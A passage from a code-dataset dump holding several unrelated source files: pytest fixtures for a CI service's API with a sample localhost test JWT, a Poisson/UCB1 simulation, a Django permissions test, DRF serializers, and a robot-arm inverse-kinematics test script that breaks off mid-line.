str(test['test']['id'])\n\n\n@pytest.fixture\ndef team_id(admin):\n team = admin.post('/api/v1/teams', data={'name': 'pname'}).data\n return str(team['team']['id'])\n\n\n@pytest.fixture\ndef team_product_id(admin):\n team = admin.get('/api/v1/teams?where=name:product')\n team = admin.get('/api/v1/teams/%s' % team.data['teams'][0]['id']).data\n return str(team['team']['id'])\n\n\n@pytest.fixture\ndef team_user_id(admin):\n team = admin.get('/api/v1/teams?where=name:user')\n team = admin.get('/api/v1/teams/%s' % team.data['teams'][0]['id']).data\n return str(team['team']['id'])\n\n\n@pytest.fixture\ndef team_admin_id(admin):\n team = admin.get('/api/v1/teams?where=name:admin')\n team = admin.get('/api/v1/teams/%s' % team.data['teams'][0]['id']).data\n return str(team['team']['id'])\n\n\n@pytest.fixture\ndef topic_user_id(admin, user, team_user_id, product):\n data = {'name': 'topic_user_name', 'product_id': product['id'],\n 'component_types': ['type_1', 'type_2', 'type_3']}\n topic = admin.post('/api/v1/topics', data=data).data\n t_id = topic['topic']['id']\n admin.post('/api/v1/topics/%s/teams' % t_id,\n data={'team_id': team_user_id})\n return str(t_id)\n\n\n@pytest.fixture\ndef remoteci_id(admin, team_id):\n data = {'name': 'pname', 'team_id': team_id, 'allow_upgrade_job': True}\n remoteci = admin.post('/api/v1/remotecis', data=data).data\n return str(remoteci['remoteci']['id'])\n\n\n@pytest.fixture\ndef remoteci_user_api_secret(user, remoteci_user_id):\n api_secret = user.get('/api/v1/remotecis/%s' % remoteci_user_id).data\n return api_secret['remoteci']['api_secret']\n\n\n@pytest.fixture\ndef remoteci_user_id(user, team_user_id):\n data = {'name': 'rname', 'team_id': team_user_id,\n 'allow_upgrade_job': True}\n remoteci = user.post('/api/v1/remotecis', data=data).data\n return str(remoteci['remoteci']['id'])\n\n\n@pytest.fixture\ndef remoteci(admin, team_id):\n data = {'name': 'remoteci', 'team_id': team_id, 'allow_upgrade_job': True}\n return admin.post('/api/v1/remotecis', data=data).data['remoteci']\n\n\n@pytest.fixture\ndef remoteci_context(app, remoteci_user_id, remoteci_user_api_secret):\n remoteci = {'id': remoteci_user_id, 'api_secret': remoteci_user_api_secret,\n 'type': 'remoteci'}\n return utils.generate_token_based_client(app, remoteci)\n\n\n@pytest.fixture\ndef remoteci_configuration_user_id(user, remoteci_user_id, topic_user_id):\n rc = user.post('/api/v1/remotecis/%s/configurations' % remoteci_user_id,\n data={'name': 'cname',\n 'topic_id': topic_user_id,\n 'component_types': ['kikoo', 'lol'],\n 'data': {'lol': 'lol'}}).data\n return str(rc['configuration']['id'])\n\n\n@pytest.fixture\ndef feeder_id(product_owner, team_user_id):\n data = {'name': 'feeder_osp', 'team_id': team_user_id}\n feeder = product_owner.post('/api/v1/feeders', data=data).data\n return str(feeder['feeder']['id'])\n\n\n@pytest.fixture\ndef feeder_api_secret(product_owner, feeder_id):\n api_secret = product_owner.get('/api/v1/feeders/%s' % feeder_id).data\n return api_secret['feeder']['api_secret']\n\n\n@pytest.fixture\ndef feeder_context(app, feeder_id, feeder_api_secret):\n feeder = {'id': feeder_id, 'api_secret': feeder_api_secret,\n 'type': 'feeder'}\n return utils.generate_token_based_client(app, feeder)\n\n\ndef create_components(user, topic_id, component_types):\n component_ids = []\n for ct in component_types:\n data = {'topic_id': topic_id,\n 'name': 'name-' + str(uuid.uuid4()),\n 'type': ct,\n 'export_control': True}\n cmpt = user.post('/api/v1/components', data=data).data\n component_ids.append(str(cmpt['component']['id']))\n return component_ids\n\n\n@pytest.fixture\ndef components_ids(admin, topic_id):\n component_types = ['type_1', 'type_2', 'type_3']\n return create_components(admin, topic_id, component_types)\n\n\n@pytest.fixture\ndef components_user_ids(admin, topic_user_id):\n component_types = ['type_1', 'type_2', 'type_3']\n return create_components(admin, topic_user_id, component_types)\n\n\n@pytest.fixture\ndef job_user_id(remoteci_context, remoteci_user_id, components_user_ids,\n topic_user_id):\n data = {'remoteci_id': remoteci_user_id,\n 'components_ids': components_user_ids,\n 'topic_id': topic_user_id}\n job = remoteci_context.post('/api/v1/jobs/schedule', data=data).data\n return job['job']['id']\n\n\n@pytest.fixture\ndef jobstate_user_id(user, job_user_id):\n data = {'job_id': job_user_id, 'status': 'running', 'comment': 'kikoolol'}\n jobstate = user.post('/api/v1/jobstates', data=data).data\n return jobstate['jobstate']['id']\n\n\n@pytest.fixture\ndef file_user_id(user, jobstate_user_id, team_user_id, es_engine):\n with mock.patch(SWIFT, spec=Swift) as mock_swift:\n mockito = mock.MagicMock()\n\n head_result = {\n 'etag': dci_utils.gen_etag(),\n 'content-type': \"stream\",\n 'content-length': 1\n }\n\n mockito.head.return_value = head_result\n mock_swift.return_value = mockito\n headers = {'DCI-JOBSTATE-ID': jobstate_user_id,\n 'DCI-NAME': 'name'}\n file = user.post('/api/v1/files',\n headers=headers, data='kikoolol').data\n headers['team_id'] = team_user_id\n headers['id'] = file['file']['id']\n es_engine.index(headers)\n return file['file']['id']\n\n\n@pytest.fixture\ndef file_job_user_id(user, job_user_id, team_user_id, es_engine):\n with mock.patch(SWIFT, spec=Swift) as mock_swift:\n mockito = mock.MagicMock()\n\n head_result = {\n 'etag': dci_utils.gen_etag(),\n 'content-type': \"stream\",\n 'content-length': 1\n }\n\n mockito.head.return_value = head_result\n mock_swift.return_value = mockito\n headers = {'DCI-JOB-ID': job_user_id,\n 'DCI-NAME': 'name'}\n file = user.post('/api/v1/files', headers=headers, data='foobar').data\n headers['team_id'] = team_user_id\n headers['id'] = file['file']['id']\n es_engine.index(headers)\n return file['file']['id']\n\n\n@pytest.fixture\ndef role(admin):\n data = {\n 'name': 'Manager',\n 'label': 'MANAGER',\n 'description': 'A Manager role',\n }\n role = admin.post('/api/v1/roles', data=data).data\n return role['role']\n\n\n@pytest.fixture\ndef feeder(admin, team_product_id):\n data = {\n 'name': 'random-name-feeder',\n 'team_id': team_product_id,\n }\n feeder = admin.post('/api/v1/feeders', data=data).data\n return feeder['feeder']\n\n\n@pytest.fixture\ndef permission(admin):\n data = {\n 'name': 'A Permission',\n 'label': 'APERMISSION',\n 'description': 'This is a regular permission',\n }\n return admin.post('/api/v1/permissions', data=data).data['permission']\n\n\n@pytest.fixture\ndef product_openstack(admin, team_id):\n data = {\n 'name': 'OpenStack',\n 'label': 'OPENSTACK',\n 'description': 'Red Hat OpenStack Platform',\n 'team_id': team_id\n }\n return admin.post('/api/v1/products', data=data).data['product']\n\n\n@pytest.fixture\ndef product(admin):\n return admin.get('/api/v1/products?where=label:AWSM').data['products'][0]\n\n\n@pytest.fixture\ndef role_super_admin(admin):\n return admin.get('/api/v1/roles?where=label:SUPER_ADMIN').data['roles'][0]\n\n\n@pytest.fixture\ndef role_product_owner(admin):\n return admin.get(\n '/api/v1/roles?where=label:PRODUCT_OWNER'\n ).data['roles'][0]\n\n\n@pytest.fixture\ndef role_admin(admin):\n return admin.get('/api/v1/roles?where=label:ADMIN').data['roles'][0]\n\n\n@pytest.fixture\ndef role_user(admin):\n return admin.get('/api/v1/roles?where=label:USER').data['roles'][0]\n\n\n@pytest.fixture\ndef role_remoteci(admin):\n return admin.get('/api/v1/roles?where=label:REMOTECI').data['roles'][0]\n\n\n@pytest.fixture\ndef access_token():\n \"\"\"\n{\n \"alg\": \"RS256\",\n \"typ\": \"JWT\",\n \"kid\": \"-68W8qbt5ztlVv4gemEWKwMeZQLVbs3ALVe4kNXdT8E\"\n}\n{\n \"jti\": \"bfff129a-f7f0-475e-9df4-f157f2f78ba7\",\n \"exp\": 1505565718,\n \"nbf\": 0,\n \"iat\": 1505564818,\n \"iss\": \"http://localhost:8180/auth/realms/dci-test\",\n \"aud\": \"dci-cs\",\n \"sub\": \"b309e4da-ed6f-45fc-9054-7855e6e4eb92\",\n \"typ\": \"Bearer\",\n \"azp\": \"dci-cs\",\n \"nonce\": \"ab40edba-9187-11e7-a921-c85b7636c33f\",\n \"auth_time\": 1505564818,\n \"session_state\": \"c5f689c8-66ad-41cc-b704-4d5ff9427152\",\n \"acr\": \"1\",\n \"allowed-origins\": [\n \"http://localhost:5000\"\n ],\n \"realm_access\": {\n \"roles\": [\n \"uma_authorization\"\n ]\n },\n \"resource_access\": {\n \"account\": {\n \"roles\": [\n \"manage-account\",\n \"manage-account-links\",\n \"view-profile\"\n ]\n }\n },\n \"email\": \"dci@distributed-ci.io\",\n \"username\": \"dci\"\n}\n \"\"\"\n\n access_token = 'eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICItNjhX' \\\n 'OHFidDV6dGxWdjRnZW1FV0t3TWVaUUxWYnMzQUxWZTRrTlhkVDhFIn0.eyJqdGkiOiJ' \\\n 'iZmZmMTI5YS1mN2YwLTQ3NWUtOWRmNC1mMTU3ZjJmNzhiYTciLCJleHAiOjE1MDU1Nj' \\\n 'U3MTgsIm5iZiI6MCwiaWF0IjoxNTA1NTY0ODE4LCJpc3MiOiJodHRwOi8vbG9jYWxob' \\\n '3N0OjgxODAvYXV0aC9yZWFsbXMvZGNpLXRlc3QiLCJhdWQiOiJkY2ktY3MiLCJzdWIi' \\\n 'OiJiMzA5ZTRkYS1lZDZmLTQ1ZmMtOTA1NC03ODU1ZTZlNGViOTIiLCJ0eXAiOiJCZWF' \\\n 'yZXIiLCJhenAiOiJkY2ktY3MiLCJub25jZSI6ImFiNDBlZGJhLTkxODctMTFlNy1hOT' \\\n 'IxLWM4NWI3NjM2YzMzZiIsImF1dGhfdGltZSI6MTUwNTU2NDgxOCwic2Vzc2lvbl9zd' \\\n 'GF0ZSI6ImM1ZjY4OWM4LTY2YWQtNDFjYy1iNzA0LTRkNWZmOTQyNzE1MiIsImFjciI6' \\\n 'IjEiLCJhbGxvd2VkLW9yaWdpbnMiOlsiaHR0cDovL2xvY2FsaG9zdDo1MDAwIl0sInJ' \\\n 'lYWxtX2FjY2VzcyI6eyJyb2xlcyI6WyJ1bWFfYXV0aG9yaXphdGlvbiJdfSwicmVzb3' \\\n 'VyY2VfYWNjZXNzIjp7ImFjY291bnQiOnsicm9sZXMiOlsibWFuYWdlLWFjY291bnQiL' \\\n 'CJtYW5hZ2UtYWNjb3VudC1saW5rcyIsInZpZXctcHJvZmlsZSJdfX0sImVtYWlsIjoi' \\\n 'ZGNpQGRpc3RyaWJ1dGVkLWNpLmlvIiwidXNlcm5hbWUiOiJkY2kifQ.Sv-r1bChnDLQ' \\\n 'I1S9j07UJ3nYInu0grJS6_tCznLG2gW3_QXQhpLNKiMpNlyJU7hDQHXmRG7d2Y58JXF' \\\n 'RPLgDFMGnUeTyGxSJS2PcZ6WKKDLMdOnfqexKJfSqU17jJ7h18qeRjLWdK-PMLJAQkJ' \\\n 'u9QlqaQsZNIXH_2uYY1_rWeaulPia_fj6iNzmYxeUvqci2IBbRIrZV5lvxlL55v1siG' \\\n '4vF26G8pbjGL7Fg7HvDekJCTZE5uWRCQtg15IJ44Fsspip6C2kSIhAFvsitFe5r7ltO' \\\n 'Nnh5nbZCsru5r9qEEYzcSyIZnkyVGgZrxNY_PY8CC6WtSBZTC7inFFcWWKioSw'\n return access_token\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":16890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"251287374","text":"from collections import defaultdict\nimport numpy\nimport math\n\n\nfrom classes import *\nfrom constants import *\n\ndef get_poisson_distribution(equipment_count, lam):\n\t#decide avec la loi de poisson combien de packet un equipement envoie\n\tpackets_count = dict()\n\n\tfor e in range(equipment_count):\n\t\tpackets_count[e] = numpy.random.poisson(lam)\n\n\treturn packets_count\n\n\ndef exec_strategie(n, nbEquipement, nbTrames, _lambda):\n\tpacketEnvoyer = defaultdict(bool)\n\trecompences = list()\n\n\tnbPackets = get_poisson_distribution(nbEquipement, _lambda)\n\n\t#Pour chaque trame on envoi un packet et on recoit une recompense\n\tfor i in range(nbTrames):\n\t\ttrame = Trame()\n\n\t\t#Pour chaque equipement on envoie k copie des packets\n\t\tfor equip in range(nbEquipement):\n\t\t\tif nbPackets[equip] != 0:\n\t\t\t\ttrame.addPacket(Packet(equip, equip), n)\n\t\t\t\tnbPackets[equip] -= 1\n\t\t\t\tpacketEnvoyer[equip] = True\n\n\t\trecompence = trame.rewardIteration()\n\n\t\t# Ajoute LOW REWARD pour les equipements aillant pas reçu de recompence\n\t\tfor equip in range(nbEquipement):\n\t\t\tif packetEnvoyer[equip] and equip not in recompence:\n\t\t\t\trecompence[equip] = LOW_REWARD\n\n\t\tfor reward in recompence.values():\n\t\t\trecompences.append(reward)\n\n\tif (sum(recompences) == 0):\n\t\t\treturn 0\n\telse:\n\t\t\treturn sum(recompences) / len(recompences)\n\t\t\n\ndef ucb1(nbEquipement, nbTrames, _lambda):\n\t#Renvoie le nombre de copie qu'un équipement envoie par trame qui MAXIMISE une formule\n\t\n\tcycles = 1000\n\tvaleurs = [2, 3, 4]\n\tcyclesVal = valeurs * cycles\n\trecompences = defaultdict(list)\n\n\t#Execute chaque strategie\n\tfor k in cyclesVal:\n\t\trecompences[k].append(exec_strategie(k, nbEquipement, nbTrames, _lambda))\n\t\n\tres = dict()\n\tfor k in valeurs:\n\t\tres[k] = sum(recompences[k]) / cycles + math.sqrt(2 * (math.log(cycles*3, math.e) / cycles))\n\n\treturn max(res, key=res.get)\n\n\ndef getvar(varname, n_equipement, n_trames, _lambda):\n\tvar = {\n\t\t'ndevices'\t: n_equipement,\n\t\t'ntrames'\t: n_trames,\n\t\t'lambda'\t: _lambda\n\t}\n\n\treturn var.get(varname)","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"179836800","text":"from django.test import TestCase\nfrom projects.views import task_view\nfrom projects.models import ProjectCategory, Project, Task, TaskOffer\nfrom user.models import Profile\nfrom faker import Faker\nfrom django.contrib.auth.models import User\n\n# Full statement coverage test of the get_user_task_permission() function\nclass TestGetUserTaskPermissions(TestCase):\n def setUp(self):\n fake = Faker() # Generate fake data using a faker generator\n\n self.project_category = ProjectCategory.objects.create(pk=1)\n \n self.first_user = User.objects.create_user(\n pk=1,\n username=fake.user_name(),\n password=fake.password())\n self.second_user = User.objects.create_user(\n pk=2,\n username=fake.user_name(),\n password=fake.password())\n \n self.first_profile = Profile.objects.get(user=self.first_user)\n self.second_profile = Profile.objects.get(user=self.second_user)\n \n self.project = Project.objects.create(\n pk=1,\n user=self.first_profile,\n category=self.project_category)\n \n self.first_task = Task.objects.create(project=self.project)\n self.second_task = Task.objects.create(project=self.project)\n\n self.task_offer = TaskOffer.objects.create(\n task=self.second_task,\n offerer=self.second_profile,\n status='a')\n\n # Test owner permissions - All permissions\n def test_user_owner(self):\n self.assertEquals(task_view.get_user_task_permissions(self.first_user, self.first_task),\n {\n 'write': True,\n 'read': True,\n 'modify': True,\n 'owner': True,\n 'upload': True,\n })\n\n # Test accepted offer permissions - Some permissions\n def test_user_accepted(self):\n self.assertEquals(task_view.get_user_task_permissions(self.second_user, self.second_task),\n {\n 'write': True,\n 'read': True,\n 'modify': True,\n 'owner': False,\n 'upload': True,\n })\n\n # Test regular user permissions - No permissions\n def test_no_owner(self):\n self.assertEquals(task_view.get_user_task_permissions(self.second_user, self.first_task),\n {\n 'write': False,\n 'read': False,\n 'modify': False,\n 'owner': False,\n 'view_task': False,\n 'upload': False,\n })\n","sub_path":"projects/tests/test_get_user_task_permissions.py","file_name":"test_get_user_task_permissions.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"364428138","text":"from django.utils.translation import gettext as _\nfrom rest_framework import serializers\n\nfrom .models import Category, FavoriteThing, LogEntry\n\n\nclass UniqueTogetherMixin(object):\n def get_unique_together_validators(self):\n '''\n Overriding method to disable unique together checks\n '''\n return []\n\n\nclass LogEntrySerializer(serializers.ModelSerializer):\n class Meta:\n model = LogEntry\n fields = ('id', 'content_type', 'object_id',\n 'action', 'diff', 'actor',\n 'ip_address', 'created', 'modified',)\n read_only_fields = ('id', 'content_type', 'object_id',\n 'action', 'diff', 'actor',\n 'ip_address', 'created', 'modified',)\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n audit_log = LogEntrySerializer(many=True, read_only=True)\n\n class Meta:\n model = Category\n fields = ('id', 'category', 'created', 'modified', 'audit_log')\n read_only_fields = ('created', 'modified', 'id', 'audit_log')\n\n\nclass FavoriteThingSerializer(UniqueTogetherMixin, serializers.ModelSerializer):\n default_error_messages = {\n 'description_length': _('description when provided should'\n ' have length greater than 10 characters'),\n }\n audit_log = LogEntrySerializer(many=True, read_only=True)\n\n class Meta:\n model = FavoriteThing\n fields = (\n 'id', 'title', 'description',\n 'ranking', 'metadata', 'category',\n 'created', 'modified', 'audit_log'\n )\n read_only_fields = ('created', 'modified', 'id', 'audit_log')\n\n def validate_description(self, description):\n if description and len(description) < 10:\n raise serializers.ValidationError(self.error_messages['description_length'])\n\n return description\n","sub_path":"src/things/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"152348422","text":"# -*- coding: utf-8 -*-\n# Python 2.7\n\nfrom sympy import *\nfrom time import time\nfrom mpmath import radians\nimport tf\nimport pdb\nfrom pprint import pprint\n\n'''\nFormat of test case is [ [[EE position],[EE orientation as quaternions]],[WC location],[joint angles]]\nYou can generate additional test cases by setting up your kuka project and running `$ roslaunch kuka_arm forward_kinematics.launch`\nFrom here you can adjust the joint angles to find thetas, use the gripper to extract positions and orientation (in quaternion xyzw) and lastly use link 5\nto find the position of the wrist center. These newly generated test cases can be added to the test_cases dictionary.\n'''\n\ntest_cases = {1:[[[2.16135,-1.42635,1.55109],\n [0.708611,0.186356,-0.157931,0.661967]],\n # [1.89451,-1.44302,1.69366],\n [1.89451,-1.4437,1.6876],\n [-0.65,0.45,-0.36,0.95,0.79,0.49]],\n 2:[[[-0.56754,0.93663,3.0038],\n [0.62073, 0.48318,0.38759,0.480629]],\n [-0.638,0.64198,2.9988],\n [-0.79,-0.11,-2.33,1.94,1.14,-3.68]],\n 3:[[[-1.3863,0.02074,0.90986],\n [0.01735,-0.2179,0.9025,0.371016]],\n [-1.1669,-0.17989,0.85137],\n [-2.99,-0.12,0.94,4.06,1.29,-4.12]],\n 4:[[[2.1529,0,1.94653],\n [0,-0.999148353,0,1]],\n [2.15286,0,1.94645],\n [0,0,0,0,0,0]],\n # Same with 2, but use positive theta 3\n 5:[[[1.0218,-0.79951,0.83335],\n [-0.575324,-0.0297466,0.118094,0.808809]],\n [0.834551,-0.842984,0.850291],\n [-0.79,-0.11,0.94,1.94,1.14,-3.68]]\n }\n\n\ndef rot_x(q):\n R_x = Matrix([[ 1, 0, 0],\n [ 0, cos(q), -sin(q)],\n [ 0, sin(q), cos(q)]])\n \n return R_x\n \ndef rot_y(q): \n R_y = Matrix([[ cos(q), 0, sin(q)],\n [ 0, 1, 0],\n [-sin(q), 0, cos(q)]])\n \n return R_y\n\ndef rot_z(q): \n R_z = Matrix([[ cos(q), -sin(q), 0],\n [ sin(q), cos(q), 0],\n [ 0, 0, 1]])\n \n return R_z\n\ndef trans_matrix(alpha, a, d, q):\n T = Matrix([[ cos(q), -sin(q), 0, a],\n [ sin(q)*cos(alpha), cos(q)*cos(alpha), -sin(alpha), -sin(alpha)*d],\n [ sin(q)*sin(alpha), cos(q)*sin(alpha), cos(alpha), cos(alpha)*d],\n [ 0, 0, 0, 1]])\n return T\n\ndef rad(deg):\n \"\"\" Convert degree to radian.\n \"\"\"\n return deg * pi/180.\n\ndef deg(rad):\n \"\"\" Convert radian to degree.\n \"\"\"\n return rad * 180 / pi\n\ndef dist(original_pos, target_pos):\n \"\"\" Find distance from given original and target position.\n \"\"\"\n vector = target_pos - original_pos\n return sqrt((vector.T * vector)[0])\n\ndef calculate_123(R_EE, px, py, pz, roll, pitch, yaw):\n # Compensate for rotation discrepancy between DH parameters and Gazebo\n Rot_err = rot_z(rad(180)) * rot_y(rad(-90))\n\n # print Rot_err\n # Matrix([[0, 0, 1],\n # [0, -1, 0],\n # [1, 0, 0]])\n\n R_EE = R_EE * Rot_err\n # print R_EE\n # Matrix([[r13, -r12, r11],\n # [r23, -r22, r21],\n # [r33, -r32, r31])\n\n R_EE = R_EE.subs({'r': roll, 'p': pitch, 'y': yaw})\n # Find original wrist position with formula described in\n \n G = Matrix([[px], [py], [pz]])\n WC = G - (0.303) * R_EE[:, 2]\n\n # Uncomment to see how end effector will be when wrist center\n # is correct. Turns out when WC is correct theta and EE\n # position errors get larger.\n # WC = test_case[1]\n\n # Calculate joint angles using Geometric IK method\n\n \n theta1 = atan2(WC[1], WC[0])\n\n a = 1.501 # Found by using \"measure\" tool in RViz.\n b = sqrt(pow((sqrt(WC[0] * WC[0] + WC[1] * WC[1]) - 0.35), 2) + \\\n pow((WC[2] - 0.75), 2))\n c = 1.25 # Length of joint 1 to 2.\n\n alpha = acos((b*b + c*c - a*a) / (2*b*c))\n beta = acos((a*a + c*c - b*b) / (2*a*c))\n # gamma = acos((a*a + b*b - c*c) / (2*a*b))\n # print(\"alpha: {} deg / {} rad\".format(deg(alpha).evalf(), alpha))\n # print(\"beta: {} deg / {} rad\".format(deg(beta).evalf(), beta))\n # print(\"gamma: {} deg / {} rad\".format(deg(gamma).evalf(), gamma))\n\n delta = atan2(WC[2] - 0.75, sqrt(WC[0]*WC[0] + WC[1]*WC[1]) - 0.35)\n theta2 = pi/2 - alpha - delta\n\n # Look at Z position of -0.054 in link 4 and use it to calculate epsilon\n # epsilon = math.atan2(d,math.sqrt(a**2-d**2))\n # epsilon = math.atan2(0.054,math.sqrt(1.501**2-0.054**2))\n epsilon = 0.036 \n theta3 = pi/2 - (beta + epsilon)\n return (R_EE, WC, theta1, theta2, theta3)\n\ndef test_code(test_case):\n ## Set up code\n ## Do not modify!\n x = 0\n class Position:\n def __init__(self,EE_pos):\n self.x = EE_pos[0]\n self.y = EE_pos[1]\n self.z = EE_pos[2]\n class Orientation:\n def __init__(self,EE_ori):\n self.x = EE_ori[0]\n self.y = EE_ori[1]\n self.z = EE_ori[2]\n self.w = EE_ori[3]\n\n position = Position(test_case[0][0])\n orientation = Orientation(test_case[0][1])\n\n class Combine:\n def __init__(self,position,orientation):\n self.position = position\n self.orientation = orientation\n\n comb = Combine(position,orientation)\n\n class Pose:\n def __init__(self,comb):\n self.poses = [comb]\n\n req = Pose(comb)\n start_time = time()\n \n ########################################################################################\n ## \n\n ## Insert IK code here!\n # Create symbols\n q1, q2, q3, q4, q5, q6, q7 = symbols('q1:8')\n d1, d2, d3, d4, d5, d6, d7 = symbols('d1:8')\n a0, a1, a2, a3, a4, a5, a6 = symbols('a0:7')\n alpha0, alpha1, alpha2, alpha3, alpha4, alpha5, alpha6 = symbols('alpha0:7')\n\n # Create Modified DH parameters\n s = {alpha0: 0, a0: 0, d1: 0.75, q1: q1,\n alpha1: rad(-90), a1: 0.35, d2: 0, q2: q2-rad(90),\n alpha2: 0, a2: 1.25, d3: 0, q3: q3,\n alpha3: rad(-90), a3: -0.054, d4: 1.50, q4: q4,\n alpha4: rad(90), a4: 0, d5: 0, q5: q5,\n alpha5: rad(-90), a5: 0, d6: 0, q6: q6,\n # alpha6: 0, a6: 0, d7: 0.453, q7: 0\n alpha6: 0, a6: 0, d7: 0.303, q7: 0\n }\n\n # Create individual transformation matrices\n T0_1 = trans_matrix(alpha0, a0, d1, q1).subs(s)\n T1_2 = trans_matrix(alpha1, a1, d2, q2).subs(s)\n T2_3 = trans_matrix(alpha2, a2, d3, q3).subs(s)\n T3_4 = trans_matrix(alpha3, a3, d4, q4).subs(s)\n T4_5 = trans_matrix(alpha4, a4, d5, q5).subs(s)\n T5_6 = trans_matrix(alpha5, a5, d6, q6).subs(s)\n T6_EE = trans_matrix(alpha6, a6, d7, q7).subs(s)\n\n T0_EE = simplify(T0_1 * T1_2 * T2_3 * T3_4 * T4_5 * T5_6 * T6_EE)\n\n print(\"\\nTime to create transformation matrices: %04.4f seconds\" % (time() - start_time))\n\n # From walkthrough. Update all lines below that use T.\n # No difference in result and performance compared with the above.\n # T0_G = T0_1 * T1_2 * T2_3 * T3_4 * T4_5 * T5_6 * T6_EE\n\n # --- IK code ---\n\n ik_start_time = time()\n # Extract end-effector position and orientation from request\n # px,py,pz = end-effector position\n # roll, pitch, yaw = end-effector orientation\n px = req.poses[x].position.x\n py = req.poses[x].position.y\n pz = req.poses[x].position.z\n\n (roll, pitch, yaw) = tf.transformations.euler_from_quaternion(\n [req.poses[x].orientation.x, req.poses[x].orientation.y,\n req.poses[x].orientation.z, req.poses[x].orientation.w])\n\n ### Your IK code here\n\n r, p, y = symbols('r p y')\n\n R_x = rot_x(r)\n R_y = rot_y(p)\n R_z = rot_z(y)\n # Rotation matrix of gripper\n\n ## Test case 1 and 2 work better with z y x\n R_EE = R_z * R_y * R_x\n\n ## Test case 3 and 5 work better with x y z\n # R_EE = R_x * R_y * R_z\n # Hypothesis: When theta3 > 0.0, use xyz, otherwise zyx\n\n\n R_EE, WC, theta1, theta2, theta3 = calculate_123(R_EE, px, py, pz, roll, pitch, yaw)\n\n if theta3.evalf() > 0.0:\n R_EE = R_x * R_y * R_z\n R_EE, WC, theta1, theta2, theta3 = calculate_123(R_EE, px, py, pz, roll, pitch, yaw)\n\n R0_3 = T0_1[0:3,0:3] * T1_2[0:3,0:3] * T2_3[0:3,0:3]\n R0_3 = R0_3.evalf(subs={q1:theta1, q2:theta2, q3:theta3})\n R3_6 = R0_3.inv(\"LU\") * R_EE\n R3_6_sym = simplify(T3_4[0:3,0:3] * T4_5[0:3,0:3] * T5_6[0:3,0:3])\n print(\"R3_6 symbols:\")\n pprint(R3_6_sym)\n \n \n ## Cross-check the result. See if R3_6 calculation was correct.\n val = R3_6_sym.evalf(subs={q4:test_case[2][3], q5:test_case[2][4], q6:test_case[2][5]})\n print(\"R3_6:\")\n pprint(simplify(R3_6))\n \n print(\"val:\")\n pprint(val)\n\n ## Using all simple parameters\n theta6 = atan2(-R3_6[1,1], R3_6[1,0])# +0.45370228\n sq5 = -R3_6[1,1]/sin(theta6)\n cq5 = R3_6[1,2]\n theta5 = atan2(sq5, cq5)\n sq4 = R3_6[2,2]/sin(theta5)\n cq4 = -R3_6[0,2]/sin(theta5)\n theta4 = atan2(sq4, cq4)\n\n # Theta 4 error is: 0.00172067\n # Theta 5 error is: 0.00197873\n # Theta 6 error is: 0.00251871\n\n ## From walkthrough\n\n theta6_1 = atan2(-R3_6[1,1], R3_6[1,0])# +0.45370228\n theta4_1 = atan2(R3_6[2,2], -R3_6[0,2]) \n theta5_1 = atan2(sqrt(R3_6[0,2]*R3_6[0,2] + R3_6[2,2]*R3_6[2,2]), R3_6[1,2])\n\n print(\"theta1: {} deg / {} rad\".format(deg(theta1).evalf(), theta1.evalf()))\n print(\"theta2: {} deg / {} rad\".format(deg(theta2).evalf(), theta2.evalf()))\n print(\"theta3: {} deg / {} rad\".format(deg(theta3).evalf(), theta3.evalf()))\n print(\"theta4: {} deg / {} rad\".format(deg(theta4).evalf(), theta4.evalf()))\n print(\"theta5: {} deg / {} rad\".format(deg(theta5).evalf(), theta5.evalf()))\n print(\"theta6: {} deg / {} rad\".format(deg(theta6).evalf(), theta6.evalf()))\n print(\"theta4_1: {} deg / {} rad\".format(deg(theta4_1).evalf(), theta4_1.evalf()))\n print(\"theta5_1: {} deg / {} rad\".format(deg(theta5_1).evalf(), theta5_1.evalf()))\n print(\"theta6_1: {} deg / {} rad\".format(deg(theta6_1).evalf(), theta6_1.evalf()))\n # theta1 = 1\n # theta2 = 1\n # theta3 = 1\n # theta4 = 1\n # theta5 = 1\n # theta6 = 1\n\n ## \n ########################################################################################\n \n ########################################################################################\n ## For additional debugging add your forward kinematics here. Use your previously calculated thetas\n ## as the input and output the position of your end effector as your_ee = [x,y,z]\n\n ## (OPTIONAL) YOUR CODE HERE!\n\n # WC = T0_5.evalf(subs={\"q1\":theta1, \"q2\":theta2, \"q3\":theta3,\n # \"q4\":theta4, \"q5\":theta5, \"q6\":theta6})[:3, 3]\n\n # print(\"WC: {}\".format(WC))\n # O1 = T0_1.evalf(subs={\"q1\":theta1, \"q2\":theta2, \"q3\":theta3,\n # \"q4\":theta4, \"q5\":theta5, \"q6\":theta6})[:3, 3]\n # print(\"O1: {}\".format(O1))\n # O2 = T0_2.evalf(subs={\"q1\":theta1, \"q2\":theta2, \"q3\":theta3,\n # \"q4\":theta4, \"q5\":theta5, \"q6\":theta6})[:3, 3]\n # print(\"O2: {}\".format(O2))\n EE = T0_EE.evalf(subs={\"q1\":theta1, \"q2\":theta2, \"q3\":theta3,\n \"q4\":theta4, \"q5\":theta5, \"q6\":theta6})\n\n # print(\"end effector:\\n{}\".format(EE))\n ## End your code input for forward kinematics here!\n ########################################################################################\n\n ## For error analysis please set the following variables of your WC location and EE location in the format of [x,y,z]\n your_wc = [WC[0], WC[1], WC[2]] # <--- Load your calculated WC values in this array\n your_ee = EE[:3, 3] # <--- Load your calculated end effector value from your forward kinematics\n ########################################################################################\n\n ## Error analysis\n print (\"\\nTotal run time to calculate joint angles from pose is %04.4f seconds\" % (time()-start_time))\n\n # Find WC error\n if not(sum(your_wc)==3):\n wc_x_e = abs(your_wc[0]-test_case[1][0])\n wc_y_e = abs(your_wc[1]-test_case[1][1])\n wc_z_e = abs(your_wc[2]-test_case[1][2])\n wc_offset = sqrt(wc_x_e**2 + wc_y_e**2 + wc_z_e**2)\n print (\"\\nWrist error for x position is: %04.8f\" % wc_x_e)\n print 